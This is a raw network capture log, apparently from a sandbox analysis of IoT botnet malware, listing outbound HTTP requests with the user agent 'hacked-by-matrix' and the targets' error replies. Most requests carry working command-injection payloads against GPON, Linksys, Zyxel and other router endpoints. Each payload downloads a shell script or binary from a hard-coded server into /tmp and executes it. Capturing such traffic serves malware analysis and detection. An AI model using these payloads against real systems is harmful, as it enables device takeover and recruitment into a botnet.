Mar 2, 2024 12:38:52.310594082 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1761	192.168.2.23	44472	79.238.228.7	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310628891 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1762	192.168.2.23	57112	42.83.191.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310674906 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1763	192.168.2.23	59910	118.50.189.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310674906 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1764	192.168.2.23	54072	2.115.146.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310684919 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1765	192.168.2.23	57040	210.67.89.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310708046 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1766	192.168.2.23	53466	2.115.160.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310710907 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1767	192.168.2.23	34650	42.158.130.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310719967 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1768	192.168.2.23	51374	118.45.220.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310761929 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1769	192.168.2.23	40356	118.22.22.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:52.310770035 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1770	192.168.2.23	36264	172.67.192.62	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:53.437475920 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1771	192.168.2.23	39150	213.169.158.73	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:53.535092115 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1772	192.168.2.23	42632	82.114.183.11	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:53.580771923 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:53.928710938 CET	259	IN	HTTP/1.1 501 Not Implemented Connection: Keep-Alive Content-Length: 121 Date: Sat, 02 Mar 2024 11:38:53 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 501: Not Implemented</title></head><body><h1>Error 501: Not Implemented</h1></body></html>
Mar 2, 2024 12:38:53.928785086 CET	251	IN	HTTP/1.0 503 unknown method Connection: close Content-Length: 119 Date: Sat, 02 Mar 2024 11:38:53 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 33 3a 20 75 6e 6b 6e 6f 77 6e 20 6d 65 74 68 6f 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 33 3a 20 75 6e 6b 6e 6f 77 6e 20 6d 65 74 68 6f 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 503: unknown method</title></head><body><h1>Error 503: unknown method</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1773	192.168.2.23	48368	129.173.113.165	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:53.654342890 CET	446	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 188.166.41.194:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 2, 2024 12:38:53.783514977 CET	206	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sat, 02 Mar 2024 11:38:53 GMT Content-Type: text/html Content-Length: 486 Connection: keep-alive ETag: "6502dd39-1e6" Content-Encoding: gzip

Session ID	Source IP	Source Port	Destination IP	Destination Port
1774	192.168.2.23	49338	108.157.45.148	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:53.827510118 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:54.030126095 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Sat, 02 Mar 2024 11:38:53 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 cfb0cbd2ba8c2e7e0c13a928b3caedf4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IST50-P1 X-Amz-Cf-Id: 4J8vd4J5BbhXYSPONqMGVRWJUztPdi3YFhZth5tCRoGJ1YYsT1AEsg== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 34 4a 38 76 64 34 4a 35 42 62 68 58 59 53 50 4f 4e 71 4d 47 56 52 57 4a 55 7a 74 50 64 69 33 59 46 68 5a 74 68 35 74 43 52 6f 47 4a 31 59 59 73 54 31 41 45 73 67 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: 4J8vd4J5BbhXYSPONqMGVRWJUztPdi3YFhZth5tCRoGJ1YYsT1AEsg==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1775	192.168.2.23	42458	13.35.122.140	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:55.195045948 CET	239	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:38:55.359850883 CET	1274	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Sat, 02 Mar 2024 11:38:55 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 85331abd84b5669394785900a34f7b14.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO5-C1 X-Amz-Cf-Id: g_5F9R56yO0gZyGFWIjxUZuiZsD7rhVS2gIccWui7tH0b9ZiQr5BYQ== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 